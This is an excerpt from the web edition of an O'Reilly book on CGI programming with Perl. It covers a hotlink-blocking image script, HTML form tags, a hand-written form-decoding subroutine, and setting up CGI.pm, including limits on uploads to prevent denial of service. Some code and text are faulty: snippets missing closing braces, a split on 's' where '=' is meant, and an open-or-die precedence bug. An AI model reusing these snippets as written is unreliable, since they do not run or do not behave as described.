    # Verify that the image name doesn't contain any unsafe characters.
    my( $image_file ) = $ENV{PATH_INFO} =~ /^([\w+.]+)$/ or
        not_found(  );
    display_image( $image_file );
}
sub display_image {
    my $file = shift;
    my $full_path = "$image_dir/$file";

    # We'll simply report that the file isn't found if we can't open it.
    open IMAGE, $full_path or not_found(  );

    print "Pragma: no-cache\n";
    print "Content-type: image/gif\n\n";

    binmode;
    my $buffer = "";
    while ( read( IMAGE, $buffer, 16_384 ) ) {
        print $buffer;
    }
    close IMAGE;
}

sub not_found {
    print <<END_OF_ERROR;
Status: 404 Not Found
Content-type: text/html

<html>
<head>
  <title>File Not Found</title>
</head>

<body>
  <h1>File Not Found</h1>

  <p>Sorry, but you requested an image that could not be found.
    Please check the URL you entered and try again.</p>
</body>
</html>
END_OF_ERROR

    exit;
}

This script displays an image with a copyright notice if the user came from a different web site. For the copyright notice, the script assumes that there is a file called copyright.gif in the same directory as the other images. Not all browsers implement the Referer HTTP header, and we don't want visitors using these browsers to get the wrong image in error. So we only display the copyright image if the user both presents a Referer header and it is from a different server. Also, we have to be conscious of caching on the Web. Browsers might cache images, and they may be behind any number of proxy servers that also implement their own caches. Thus, we output an additional header to request that this message not be cached. This should avoid the user getting a cached copyright notice image when they visit the real site. If you are especially paranoid (and do not mind the extra traffic it causes), then you could also output a Pragma: no-cache header for the real images too.

If the image is not found, it sends a response with a 404 status. You may wonder why it would send an HTML message when it was likely the request was the result of an image tag and the browser is planning on displaying the response as an image in an HTML page. Actually, neither web servers nor CGI scripts have any way of determining the context of any request. Web servers always display 404 errors when they cannot locate a resource. In this case the browser will likely display an icon, such as a broken image, to indicate that there was an error. If the user chooses to view the image separately by directly referencing it, he or she will see the error message.

This solution should stop casual hijackers. It won't stop thieves. It's always possible for someone to visit your site, download your images, and put copies of them up on their own site.

Previous | Home | Next
3.3. CGI Output | Book Index | 4. Forms and CGI
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Forms and CGI (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Chapter 4. Forms and CGI

Contents:

Sending Data to the Server
Form Tags
Decoding Form Input

HTML forms are the user interface that provides input to your CGI scripts. They are primarily used for two purposes: collecting data and accepting commands. Examples of data you collect may include registration information, payment information, and online surveys. You may also collect commands via forms, such as using menus, checkboxes, lists, and buttons to control various aspects of your application. In many cases, your forms will include elements for both: collecting data as well as application control.

A great advantage of HTML forms is that you can use them to create a frontend for numerous gateways (such as databases or other information servers) that can be accessed by any client without worrying about platform dependency.

In order to process data from an HTML form, the browser must send the data via an HTTP request. A CGI script cannot check user input on the client side; the user must press the submit button and the input can only be validated once it has travelled to the server. JavaScript, on the other hand, can perform actions in the browser. It can be used in conjunction with CGI scripts to provide a more responsive user interface. We will see how to do this in Chapter 7, "JavaScript".

This chapter covers:

  • How form data is sent to the server

  • How to use HTML tags for writing forms

  • How CGI scripts decode the form data

4.1. Sending Data to the Server

In the last couple of chapters, we have referred to the options that a browser can include with an HTTP request. In the case of a GET request, these options are included as the query string portion of the URL passed in the request line. In the case of a POST request, these options are included as the content of the HTTP request. These options are typically generated by HTML forms.

Each HTML form element has an associated name and value, like this checkbox:

<INPUT TYPE="checkbox" NAME="send_email" VALUE="yes">

If this checkbox is checked, then the option send_email with a value of yes is sent to the web server. Other form elements, which we will look at in a moment, act similarly. Before the browser can send form option data to the server, the browser must encode it. There are currently two different forms of encoding form data. The default encoding, which has the media type of application/x-www-form-urlencoded, is used almost exclusively. The other form of encoding, multipart/form-data, is primarily used with forms which allow the user to upload files to the web server. We will look at this in Section 5.2.4, "File Uploads with CGI.pm".

For now, let's look at how application/x-www-form-urlencoded works. As we mentioned, each HTML form element has a name and a value attribute. First, the browser collects the names and values for each element in the form. It then takes these strings and encodes them according to the same rules for encoding URL text that we discussed in Chapter 2, "The Hypertext Transport Protocol ". If you recall, characters that have special meaning for HTTP are replaced with a percentage symbol and a two-digit hexadecimal number; spaces are replaced with +. For example, the string "Thanks for the help!" would be converted to "Thanks+for+the+help%21".

Next, the browser joins each name and value with an equals sign. For example, if the user entered "30" when asked for the age, the key-value pair would be "age=30". Each key-value pair is then joined, using the "&" character as a delimiter. Here is an example of an HTML form:

<HTML>
<HEAD>
  <TITLE>Mailing List</TITLE>
</HEAD>

<BODY>
<H1>Mailing List Signup</H1>
<P>Please fill out this form to be notified via email about
  updates and future product announcements.</P>

<FORM ACTION="/cgi/register.cgi" METHOD="POST">
  <P>
    Name: <INPUT TYPE="TEXT" NAME="name"><BR>
    Email: <INPUT TYPE="TEXT" NAME="email">
  </P>

  <HR>
  <INPUT TYPE="SUBMIT" VALUE="Submit Registration Info">
</FORM>

</BODY>
</HTML>

Figure 4-1 shows how the form looks in Netscape with some sample input.

Figure 4-1. Sample HTML form

When this form is submitted, the browser encodes these three elements as:

name=Mary+Jones&email=mjones%40jones.com

Since the request method is POST in this example, this string would be added to the HTTP request as the content of that message. The HTTP request message would look like this:

POST /cgi/register.cgi HTTP/1.1
Host: localhost
Content-Length: 67
Content-Type: application/x-www-form-urlencoded

name=Mary+Jones&email=mjones%40jones.com

If the request method were set to GET, then the request would be formatted this way instead:

GET /cgi/register.cgi?name=Mary+Jones&email=mjones%40jones.com HTTP/1.1
Host: localhost
Previous | Home | Next
3.4. Examples | Book Index | 4.2. Form Tags
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Form Tags (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

4.2. Form Tags

A full discussion of HTML and user interface design is clearly beyond the scope of this book. Many other books are available which discuss these topics at length, such as HTML: The Definitive Guide, by Chuck Musciano and Bill Kennedy (O'Reilly & Associates, Inc.). However, many of these other resources do not discuss the relationship between HTML form elements and the corresponding data sent to the web server when a form is submitted. So let's run through a quick review of HTML form elements before we see how CGI scripts process them.

4.2.1. Quick Reference to Form Tags

Before we get going, Table 4-1 shows a short list of all the available form tags.

Table 4-1. HTML Form Tags

Form Tag | Description
<FORM ACTION="/cgi/register.cgi" METHOD="POST"> | Start the form
<INPUT TYPE="text" NAME="name" VALUE="value" SIZE="size"> | Text field
<INPUT TYPE="password" NAME="name" VALUE="value" SIZE="size"> | Password field
<INPUT TYPE="hidden" NAME="name" VALUE="value" > | Hidden field
<INPUT TYPE="checkbox" NAME="name" VALUE="value" > | Checkbox
<INPUT TYPE="radio" NAME="name" VALUE="value" > | Radio button
<SELECT NAME="name" SIZE=1> <OPTION SELECTED>One</OPTION> <OPTION>Two</OPTION> : </SELECT> | Menu (drop-down)
<SELECT NAME="name" SIZE=n MULTIPLE> <OPTION SELECTED>One</OPTION> <OPTION>Two</OPTION> : </SELECT> | Select box
<TEXTAREA ROWS=yy COLS=xx NAME="name"> : </TEXTAREA> | Multiline text field
<INPUT TYPE="submit" NAME="name" VALUE="value" > | Submit button
<INPUT TYPE="image" SRC="/image.gif" NAME="name" VALUE="value"> | Image button
<INPUT TYPE="reset" VALUE="Message!"> | Reset button
</FORM> | End the form

4.2.2. The <FORM> Tag

All forms begin with a <FORM> tag and end with a </FORM> tag:

<FORM ACTION="/cgi/register.cgi" METHOD="POST">
  .
  .
  .
</FORM>

Submitting a form generates an HTTP request just like clicking on a hyperlink, but a request generated by a form is almost always directed at a CGI script (or a similar dynamic resource). You specify the format of the HTTP request via attributes of the <FORM> tag:

METHOD

METHOD specifies the HTTP request method used when calling the CGI script. The options are GET and POST, and they correspond to the request methods we've already seen as part of the HTTP request line, although they are not case-sensitive here. If the method is not specified, it defaults to GET.

ACTION

ACTION specifies the URL of the CGI script that should receive the HTTP request made by the CGI script. By default, it is the same URL from which the browser retrieved the form. You are not limited to using a CGI program on your server to decode form information; you can specify a URL of a remote host if a program that does what you want is available elsewhere.

ENCTYPE

ENCTYPE specifies the media type used to encode the content of the HTTP request. Because GET requests do not have a body, this attribute is only meaningful if the form has POST as its method. This attribute is rarely included since the default -- application/x-www-form-urlencoded -- is appropriate in almost all cases. The only real reason to specify another media type is when creating a form that accepts file uploads. File uploads must use multipart/form-data instead. We will discuss this second option later.

onSubmit

onSubmit is a JavaScript handler, and it specifies the JavaScript code that should be executed when the form is submitted. If the code returns a false value, it will cancel the submission of the form. Throughout this chapter we will review which JavaScript handler is associated with each HTML form element, but we won't cover JavaScript in detail until Chapter 7, "JavaScript".

A document can consist of multiple forms, but one form cannot be nested inside another form.

4.2.3. The <INPUT> Tag

The <INPUT> tag generates a wide array of form widgets. They are differentiated by the TYPE attribute. Each <INPUT> tag has the same general format:

<INPUT TYPE="text" NAME="element_name" VALUE="Default value">

Like <BR>, this tag has no closing tag. The basic attributes that all input types share are as follows:

TYPE

TYPE determines the type of the input widget to display. A presentation of each type follows this section.

NAME

The NAME attribute is important because the CGI script uses this name to access the value of those elements that are submitted.

VALUE

The meaning of VALUE varies depending on the type of the input element. We will discuss this property in our discussion of each type.

Let's look at each of the input types.

4.2.3.1. Text fields

One of the most basic uses of the <INPUT> tag is to generate a text fields where users may enter a line of data (see Figure 4-2). Text fields are the default input type; if you omit the TYPE attribute, you will get a text field. The HTML for a text field looks like this:

<INPUT TYPE="text" NAME="quantity" VALUE="1" SIZE="3" MAXLENGTH="3">

Figure 4-2. Text and password fields

Here are the attributes that apply to text fields:

VALUE

The VALUE of text fields is the default text displayed in the text field when the form is initially presented to the user. It defaults to an empty string. The user can edit the value of text fields; updates change what is displayed as well as the value passed when the form is submitted.

SIZE

The SIZE attribute specifies the width of the text field displayed. It roughly corresponds to the number of characters the field can hold, but this is generally only accurate if the element is surrounded by <TT> or <PRE> tags, which indicate that a monospace font should be used. Unfortunately, Netscape and Internet Explorer render the width of fields very differently when monospaced fonts are not used, so certainly test your form with both browsers. The default SIZE for text fields is 20.

MAXLENGTH

The MAXLENGTH attribute specifies the maximum number of characters that a text field can hold. Browsers generally do not allow users to enter more characters than this. Because the size of text fields can vary with variable-width fonts, it is possible to set MAXLENGTH and SIZE to the same value and yet have a field that appears too large or too small for that number of characters. A text field can have a MAXLENGTH set to more characters than its SIZE can display. By default, there is no specified limit on the size of text fields.

onFocus, onBlur, onChange

The JavaScript handlers are onFocus, onBlur, and onChange, which are called when the text field has focus (the input cursor is in the field), loses focus (the cursor moves out of the field), and when the value of the field changes, respectively.

4.2.3.2. Password fields

A password field is similar to a text field, except that instead of displaying the true value of the field, the browser represents each character with an asterisk or bullet (refer back to Figure 4-2):

<INPUT TYPE="password" NAME="set_password" VALUE="old_password"
  SIZE="8" MAXLENGTH="8">

This field does not provide any true security; it simply provides basic protection against someone looking over the shoulder of the user. The value is not encrypted when it is transferred to the web server, which means that passwords are displayed as part of the query string for GET requests.

All the attributes that apply to text fields also apply to password fields.

4.2.3.3. Hidden fields

Hidden fields are not visible to the user. They are generally used only with forms which are themselves generated by a CGI script and are useful for passing information between a series of forms:

<INPUT TYPE="hidden" NAME="username" VALUE="msmith">

Like password fields, hidden fields provide no security. Users can view the name and value of hidden fields by viewing the HTML source in their browsers.

We'll discuss hidden fields in much more detail in our discussion of maintaining state in Chapter 11, "Maintaining State".

Hidden fields only use NAME and VALUE attributes.

4.2.3.4. Checkboxes

Checkboxes are useful when users simply need to indicate whether they desire an option. See Figure 4-3.

Figure 4-3. Checkboxes

The user can toggle between two states on a checkbox: checked or unchecked. The tag looks like this:

<INPUT TYPE="checkbox" NAME="toppings" VALUE="lettuce" CHECKED>

In this example, if the user selects the checkbox, then "toppings" returns a value of "lettuce". If the checkbox is not selected, neither the name nor the value is returned for the checkbox.

It is possible to have multiple checkboxes use the same name. In fact, this is not uncommon. The most typical situation in which you might do this is if you have a dynamic list of related options and the user could choose a similar action for all of them. For example, you may wish to list multiple options this way:

<INPUT TYPE="checkbox" NAME="lettuce"> Lettuce<BR>
<INPUT TYPE="checkbox" NAME="tomato"> Tomato<BR>
<INPUT TYPE="checkbox" NAME="onion"> Onion<BR>

If, however, the CGI script does not need to know the name of each of the options in order to perform its task, you may wish to do this instead:

<INPUT TYPE="checkbox" NAME="toppings" VALUE="lettuce"> Lettuce<BR>
<INPUT TYPE="checkbox" NAME="toppings" VALUE="tomato"> Tomato<BR>
<INPUT TYPE="checkbox" NAME="toppings" VALUE="onion"> Onion<BR>

If someone selects "lettuce" and "tomato" but not "onion", then the browser will encode this as toppings=lettuce&toppings=tomato. The CGI script can process these multiple toppings, and you may not need to update the CGI script if you later add items to the list. Attributes for checkboxes include:

VALUE

The VALUE attribute is the value included in the request if the checkbox is checked. If a VALUE attribute is not specified, the checkbox will return "ON" as its value. If the checkbox is not checked, then neither its name nor value will be sent.

CHECKED

The CHECKED attribute indicates that the checkbox should be selected by default. Omitting this attribute causes the checkbox to be unselected by default.

onCheck

Checkboxes also take the onCheck attribute, which indicates the JavaScript code that should be executed when the checkbox is selected.

4.2.3.5. Radio buttons

Radio buttons are very similar to checkboxes except that any group of radio buttons that share the same name are exclusive: only one of them may be selected. See Figure 4-4.

Figure 4-4. Radio buttons

The tag is used just like a checkbox:

<INPUT TYPE="radio" NAME="bread" VALUE="wheat" CHECKED> Wheat<BR>
<INPUT TYPE="radio" NAME="bread" VALUE="white"> White<BR>
<INPUT TYPE="radio" NAME="bread" VALUE="rye"> Rye<BR>

In this example, "wheat" is selected by default. Selecting "white" or "rye" will cause "wheat" to be unselected.

Although you may omit the VALUE attribute with checkboxes, doing so with radio buttons is meaningless since the CGI script will not be able to differentiate between different radio buttons if they all return "ON".

Using the CHECKED attribute with multiple radio buttons with the same name is not valid. Browsers will generally render both as selected, but they will be unselected as soon as the user selects a different option and the user will be unable to return the form to this initial state (unless it has a reset button of course).

Radio buttons use the same attributes as checkboxes.

4.2.3.6. Submit buttons

A submit button does just what the name implies. It submits the contents of the form (see Figure 4-5). When the user clicks on a submit button, the browser runs any associated JavaScript onSubmit handler, formats an HTTP request according to the form method and form encoding type, then sends this request to the URL specified by the form action. The result is then displayed as a new web page.

Figure 4-5. Submit buttons

The HTML for a submit button looks like this:

<INPUT TYPE="submit" NAME="submit_button" VALUE="Submit the Form">

Virtually all forms have a submit button, and you can have multiple submit buttons on one form:

<INPUT TYPE="submit" NAME="option" VALUE="Option 1">
<INPUT TYPE="submit" NAME="option" VALUE="Option 2">

Only the name and value of the submit button clicked is included in the form submission. Here are the attributes it supports:

VALUE

The VALUE attribute for submit buttons specifies the text that should be displayed on the button as well as the value supplied for this element when the form is submitted. If the value is omitted, browsers supply a default label -- generally "Submit" -- and refrain from submitting a name and value for this element.

onClick

Submit buttons may have an onClick JavaScript handler, which specifies the code to execute if the user clicks the button. Returning a false value from this code cancels the submit operation.

4.2.3.7. Reset buttons

A reset button allows users to reset the value of all the fields in a form to their default values. From the user's perspective, it generally accomplishes the same thing as reloading the form but is much faster and more convenient. Because the browser accomplishes this event without consulting the web server, CGI scripts never respond to it. The HTML tag looks like this:

<INPUT TYPE="reset" VALUE="Reset the form fields">

You may have multiple reset buttons on the same form, although this would almost certainly be redundant.

NAME

You may specify a NAME for reset buttons, but neither the name nor the value is ever passed to a CGI script. Thus, the name is only useful to JavaScript code.

VALUE

The VALUE attribute specifies the text label that should appear on the button.

onClick

Like submit buttons, reset buttons may have an onClick attribute that specifies the JavaScript code to execute if a user clicks on the button; returning false from this code will cancel the reset operation.

4.2.3.8. Image buttons

You can also have images as buttons. Image buttons function as submit buttons but give you much more flexibility over how the button looks. Keep in mind that users are generally used to having buttons displayed a particular way by the browser and operating system, and a button in a different format may be confusing to a novice. The HTML for an image button tag looks like this:

<INPUT TYPE="image" SRC="/icons/button.gif" NAME="result" VALUE="text only">

Graphical and text-only browsers treat this element very differently. A text-only browser, such as Lynx, sends the name and value together like most other form elements:

result=text+only

However, a graphical browser, like Netscape and Internet Explorer, send the coordinates where the user clicked on the image in addition to the name of the button. The value is not sent. These coordinates are measured in pixels from the upper-left corner of the image (see Figure 4-6).

Figure 4-6. Image button coordinates

In this example, a graphical browser would submit:

action.x=50&action.y=20

Here are the attributes for image buttons:

VALUE

The VALUE attribute is sent as the value for this element by text browsers.

SRC

The SRC attribute specifies the URL to the image displayed for the button, just as it does in the more common <IMG> tag (if the <IMG> tag looks unfamiliar to you, it's because you probably only recognize it when combined with the SRC attribute: <IMG SRC=...>).

onClick

This attribute behaves just as it does with standard submit buttons.

4.2.3.9. Plain buttons

The last type of button is just that -- a button; it has no special function. To avoid confusing this button with the other button types, we will refer to it as a plain button. A plain button tag looks like a submit or reset button:

<INPUT TYPE="button" VALUE="Click for a greeting..."
  onClick="alert( 'Hello!' );">

The name and value of a plain button is never passed to a CGI script. Because a plain button has no special action, it is meaningless without an onClick attribute:

NAME

The NAME attribute is never sent as part of a request, so it is only useful to JavaScript code.

VALUE

The VALUE attribute specifies the name of the button.

onClick

The onClick attribute specifies the code to run when the button is clicked. The code's return value has no effect because plain buttons do not cause other behavior.

4.2.4. The <SELECT> Tag

The <SELECT> tag is used to create a list for users to choose from. It can create two different elements that look quite different but have similar function: a scrolling box or a menu (also commonly referred to as a drop-down). Both elements are displayed in Figure 4-7. Unlike the <INPUT> elements, <SELECT> tags have an opening as well as a closing tag.

Here is an example of a menu:

Choose a method of payment:
<SELECT NAME="card" SIZE=1>
  <OPTION SELECTED>American Express</OPTION>
  <OPTION>Discover</OPTION>
  <OPTION>Master Card</OPTION>
  <OPTION>Visa</OPTION>
</SELECT>

Figure 4-7. Two forms of select lists: a menu and a scrolling box

Here is an example of a scrolling box:

Choose the activities you enjoy:
<SELECT NAME="activity" SIZE=4 MULTIPLE>
  <OPTION>Aerobics</OPTION>
  <OPTION>Aikido</OPTION>
  <OPTION>Basketball</OPTION>
  <OPTION>Bicycling</OPTION>
  <OPTION>Golfing</OPTION>
  <OPTION>Hiking</OPTION>
  ...
</SELECT>

Scrolling boxes may optionally allow the user to select multiple entries. Multiple options are encoded as separate name-value pairs, as if they had been entered by multiple form elements. For example, if someone selects Aikido, Bicycling, and Hiking, the browser will encode it as activity=Aikido&activity=Bicycling& activity=Hiking.

Attributes for the <SELECT> tag are:

SIZE

The SIZE attribute determines the number of lines visible in the list. Specifying 1 for the SIZE indicates that the list should be a menu instead.

MULTIPLE

The MULTIPLE attribute allows the user to select multiple values. It is only possible if the SIZE attribute is assigned a value greater than 1. On some operating systems, the user may need to hold down certain modifier keys on their keyboard in order to select multiple items.

4.2.4.1. The <OPTION> tag

The <SELECT> tag does not have a value attribute. Each of its possible values must have an <OPTION> tag around it.

You may override the value used by a particular option by specifying a VALUE attribute like this:

<OPTION VALUE="AMEX" >American Express</OPTION>

Options have two optional attributes:

SELECTED

The SELECTED attribute specifies that the option should be selected by default. When a form is submitted, the name of the <SELECT> tag is submitted along with the value of the selected options.

VALUE

The VALUE attribute is the value that is passed for the option if it is selected. If this attribute is omitted, then it defaults to the text between the <OPTION> and </OPTION> tags.

4.2.5. The <TEXTAREA> Tag

The final form element, the <TEXTAREA> tag, allows users to enter multiple lines of text. See Figure 4-8.

Figure 4-8. Text area

Text areas have an opening and a closing tag:

<TEXTAREA ROWS=10 COLS=40 NAME="comments" WRAP="virtual">Default text</TEXTAREA>

This creates a scrolled text field with a visible area of ten rows and forty columns.

There is no VALUE property for the <TEXTAREA> tag. Default text should be placed between the opening and closing tags. Unlike other HTML tags, white space -- including newlines -- is not ignored between <TEXTAREA> and </TEXTAREA> tags. A browser will render the example above with "Default" and "text" on separate lines.

Attributes for the <TEXTAREA> tag are:

COLUMNS

The COLUMNS attribute specifies the width of the text area, but like the size of text fields, browsers size columns differently for variable-width fonts.

ROWS

The ROWS attribute specifies the number of lines that the text area should display. Text bars have scrollbars to access text that does not fit within the display area.

WRAP

The WRAP attribute specifies what the browser should do if the user types beyond the right margin, but note that the WRAP attribute is not implemented as uniformly as other tags and attributes. Although most browsers support it, it is actually not included in the HTML 4.0 standard. In general, specifying "virtual" as the WRAP results in the text wrapping within the text area, but it is submitted without newlines. Specifying "physical" as the WRAP also results in the text wrapping for the user, but the line breaks are submitted as part of the text. Users on different operating systems will submit different characters for end-of-line characters. If you specify to omit the WRAP attribute or specify "none" for it, then text will typically scroll beyond the right side of the text area.

Previous | Home | Next
4. Forms and CGI | Book Index | 4.3. Decoding Form Input
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Decoding Form Input (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

4.3. Decoding Form Input

In order to access the information contained within the form, we must decode the data that is sent to us. The algorithm for decoding form data is:

  1. Read the query string from $ENV{QUERY_STRING}.

  2. If the $ENV{REQUEST_METHOD} is POST, determine the size of the request using $ENV{CONTENT_LENGTH} and read that amount of data from the standard input. Append this data to the data read from the query string, if present (this should be joined with "&").

  3. Split the result on the " &" character, which separates name-value pairs (the format is name=value&name=value...).

  4. Split each name-value pair on the "s" character to get the name and value.

  5. Decode the URL-encoded characters in the name and value.

  6. Associate each name with its value(s); remember that each option name may have multiple values.

A form sends its parameters as the body of a POST request, or as the query string of a GET request. However, it is possible to create a form that uses the POST method and direct it to a URL containing a query string. Thus, it is possible to get a query string with a POST request.

Here is a first attempt at our subroutine:

sub parse_form_data {
    my %form_data;
    my $name_value;
    my @name_value_pairs = split /&/, $ENV{QUERY_STRING};

    if ( $ENV{REQUEST_METHOD} eq 'POST' ) {
        my $query = "";
        read( STDIN, $query, $ENV{CONTENT_LENGTH} ) == $ENV{CONTENT_LENGTH}
          or return undef;
        push @name_value_pairs, split /&/, $query;
    }

    foreach $name_value ( @name_value_pairs ) {
        my( $name, $value ) = split /=/, $name_value;

        $name =~ tr/+/ /;
        $name =~ s/%([\da-f][\da-f])/chr( hex($1) )/egi;

        $value = "" unless defined $value;
        $value =~ tr/+/ /;
        $value =~ s/%([\da-f][\da-f])/chr( hex($1) )/egi;

        $form_data{$name} = $value;
    }
    return %form_data;
}

You can use parse_form_data like this:

my %query = parse_form_data(  ) or error( "Invalid request" );
my $activity = $query{activity};

We split the query string into name-value pairs and then store each pair in @name_value_pairs. Since the client puts ampersands between key-value pairs, the split command specifies an ampersand as the delimiter. If the request method is POST, then we also read the content of the request from STDIN. If the number of bytes that we read does not match the number that we expect, we return undef. This could happen if the user presses their browser's Stop button while sending a request.

We then loop over each of the name-value pairs and spit them into $name and $value. It is possible that a parameter can be passed without an equal sign or a value. This happens for <ISINDEX> forms, which are virtually never used anymore, or for manually constructed URLs. By setting the $value to an empty string when it isn't defined, we avoid warnings from Perl.

We replace each + with a space character. We then decode URL-encoded characters by replacing strings that start with % and that are followed by two hexadecimal characters using the expression that we discussed in Chapter 2, "The Hypertext Transport Protocol ". We then add the name and value pair to our hash, which we return when we are done.

You may have noticed that there is a problem with our subroutine; it occurs in the hash assignment near the end of the subroutine:

$form_data{$name} = $value;

If the form has elements that share the same name, or if there is a scrolling box that supports multiple values, then it is possible for us to receive multiple values for the same name. For example, if you choose "One" and "Two" in a select list with the variable name "numbers," the query string would look like:

numbers=One&numbers=Two

Our example earlier would save only the last value in the hash. There are a couple different ways we could solve this, but neither is ideal. First, we could convert the value of the hash into an array reference for multiple values by replacing the hash assignment with the following lines:

if ( exists $form_data{$name} ) {
    if ( ref $form_data{$name} ) {
        push @{ $form_data{$name} }, $value;
    }
    else {
        $form_data{$name} = [ $form_data{$name}, $value ];
    }
else {
    $form_data{$name} = $value;
}

This code is somewhat complex, but because it is hidden in our subroutine, this isn't really an issue. The real problem with this approach is that CGI scripts using this subroutine need to know which elements can have multiple values and must test each one or run the risk of mistakenly believing the user entered something like "ARRAY(0x19abcde)", which is Perl's scalar representation of an array reference. Code to access the values of the "numbers" element would look like this:

my %query = parse_form_data(  ) or error( "Invalid request" );
my @numbers = ref( $query{numbers} ) ? @{ $query{numbers} } : $query{numbers};

This syntax is awkward. Another approach is to store the multiple values as a single text string that is delimited by a certain character, such as a tab or "\0". This is easier to code in the subroutine:

if ( exists $form_data{$name} ) {
    $form_data{$name} .= "\t$value";
else {
    $form_data{$name} = $value;
}

It is also easier to read in the CGI script:

my %query = parse_form_data(  ) or error( "Invalid request" );
my @numbers = split "\t", $query{numbers};

However, there is still a potential for corrupted data if the CGI script is not expecting multiple values.

Fortunately, there is a better solution. Instead of writing an input subroutine ourselves, we can use CGI.pm, which provides an effective solution to this problem along with many other useful features. The next chapter discusses CGI.pm.

Previous | Home | Next
4.2. Form Tags | Book Index | 5. CGI.pm
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


CGI.pm (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Chapter 5. CGI.pm

Contents:

Overview
Handling Input with CGI.pm
Generating Output with CGI.pm
Alternatives for Generating Output
Handling Errors

The CGI.pm module has become the standard tool for creating CGI scripts in Perl. It provides a simple interface for most of the common CGI tasks. Not only does it easily parse input parameters, but it also provides a clean interface for outputting headers and a powerful yet elegant way to output HTML code from your scripts.

We will cover most of the basics here and will revisit CGI.pm later to look at some of its other features when we discuss other components of CGI programming. For example, CGI.pm provides a simple way to read and write to browser cookies, but we will wait to review that until we get to our discussion about maintaining state, in Chapter 11, "Maintaining State".

If after reading this chapter you are interested in more information, the author of CGI.pm has written an entire book devoted to it: The Official Guide to Programming with CGI.pm by Lincoln Stein ( John Wiley & Sons).

Because CGI.pm offers so many methods, we'll organize our discussion of CGI.pm into three parts: handling input, generating output, and handling errors. We will look at ways to generate output both with and without CGI.pm. Here is the structure of our chapter:

  • Handling Input with CGI.pm

    • Information about the environment. CGI.pm has methods that provide information that is similar, but somewhat different from the information available in %ENV.

    • Form input. CGI.pm automatically parses parameters passed to you via HTML forms and provides a simple method for accessing these parameters.

    • File uploads. CGI.pm allows your CGI script to handle HTTP file uploads easily and transparently.

  • Generating Output with CGI.pm

    • Generating headers. CGI.pm has methods to help you output HTTP headers from your CGI script.

    • Generating HTML. CGI.pm allows you to generate full HTML documents via corresponding method calls.

  • Alternatives for Generating Output

    • Quoted HTML and here documents. We will compare alternative strategies for outputting HTML.

  • Handling Errors

    • Trapping die. The standard way to handle errors with Perl, die, does not work cleanly with CGI.

    • CGI::Carp. The CGI::Carp module distributed with CGI.pm makes it easy to trap die and other error conditions that may kill your script.

    • Custom solutions. If you want more control when displaying errors to your users, you may want to create a custom subroutine or module.

Let's start with a general overview of CGI.pm.

5.1. Overview

CGI.pm requires Perl 5.003_07 or higher and has been included with the standard Perl distribution since 5.004. You can check which version of Perl you are running with the -v option:

$ perl -v

This is perl, version 5.005

Copyright 1987-1997, Larry Wall

Perl may be copied only under the terms of either the Artistic License or the
GNU General Public License, which may be found in the Perl 5.0 source kit.

You can verify whether CGI.pm is installed and which version by doing this:

$ perl -MCGI -e 'print "CGI.pm version $CGI::VERSION\n";'
CGI.pm version 2.56

If you get something like the following, then you do not have CGI.pm installed, and you will have to download and install it. Appendix B, "Perl Modules", explains how to do this.

Can't locate CGI.pm in @INC (@INC contains:  /usr/lib/perl5/i386-linux/5.005 /usr/
lib/perl5 /usr/lib/perl5/site_perl/i386-linux /usr/lib/perl5/site_perl .).
BEGIN failed--compilation aborted.

New versions of CGI.pm are released regularly, and most releases include bug fixes.[6] We therefore recommend that you install the latest version and monitor new releases (you can find a version history at the bottom of the cgi_docs.html file distributed with CGI.pm). This chapter discusses features introduced as late as 2.47.

[6]These are not necessarily bugs in CGI.pm; CGI.pm strives to maintain compatibility with new servers and browsers that sometimes include buggy, or at least nonstandard, code.

5.1.1. Denial of Service Attacks

Before we get started, you should make a minor change to your copy of CGI.pm. CGI.pm handles HTTP file uploads and automatically saves the contents of these uploads to temporary files. This is a very convenient feature, and we'll talk about this later. However, file uploads are enabled by default in CGI.pm, and it does not impose any limitations on the size of files it will accept. Thus, it is possible for someone to upload multiple large files to your web server and fill up your disk.

Clearly, the vast majority of your CGI scripts do not accept file uploads. Thus, you should disable this feature and enable it only in those scripts where you wish to use it. You may also wish to limit the size of POST requests, which includes file uploads as well as standard forms submitted via the POST method.

To make these changes, locate CGI.pm in your Perl libraries and then search for text that looks like the following:

# Set this to a positive value to limit the size of a POSTing
# to a certain number of bytes:
$POST_MAX = -1;

# Change this to 1 to disable uploads entirely:
$DISABLE_UPLOADS = 0;

Set $DISABLE_UPLOADS to 1. You may wish to set $POST_MAX to a reasonable upper bound as well, such as 100KB. POST requests that are not file uploads are processed in memory, so restricting the size of POST requests avoids someone submitting multiple large POST requests that quickly use up available memory on your server. The result looks like this:

# Set this to a positive value to limit the size of a POSTing
# to a certain number of bytes:
$POST_MAX = 102_400;  # 100 KB

# Change this to 1 to disable uploads entirely:
$DISABLE_UPLOADS = 1;

If you then want to enable uploads and/or allow a greater size for POST requests, you can override these values in your script by setting $CGI::DISABLE_UPLOADS and $CGI::POST_MAX after you use the CGI.pm module, but before you create a CGI.pm object. We will look at how to receive file uploads later in this chapter.

You may need special permission to update your CGI.pm file. If your system administrator for some reason will not make these changes, then you must disable file uploads and limit POST requests on a script by script basis. Your scripts should begin like this:

#!/usr/bin/perl -wT

use strict;
use CGI;

$CGI::DISABLE_UPLOADS = 1;
$CGI::POST_MAX        = 102_400; # 100 KB

my $q = new CGI;
.
.

Throughout our examples, we will assume that the module has been patched and omit these lines.

5.1.2. The Kitchen Sink

CGI.pm is a big module. It provides functions for accessing CGI environment variables and printing outgoing headers. It automatically interprets form data submitted via POST, via GET, and handles multipart-encoded file uploads. It provides many utility functions to do common CGI-related tasks, and it provides a simple interface for outputting HTML. This interface does not eliminate the need to understand HTML, but it makes including HTML inside a Perl script more natural and easier to validate.

Because CGI.pm is so large, some people consider it bloated and complain that it wastes memory. In fact, it uses many creative ways to increase the efficiency of CGI.pm including a custom implementation of SelfLoader. This means that it loads only code that you need. If you use CGI.pm only to parse input, but do not use it to produce HTML, then CGI.pm does not load the code for producing HTML.

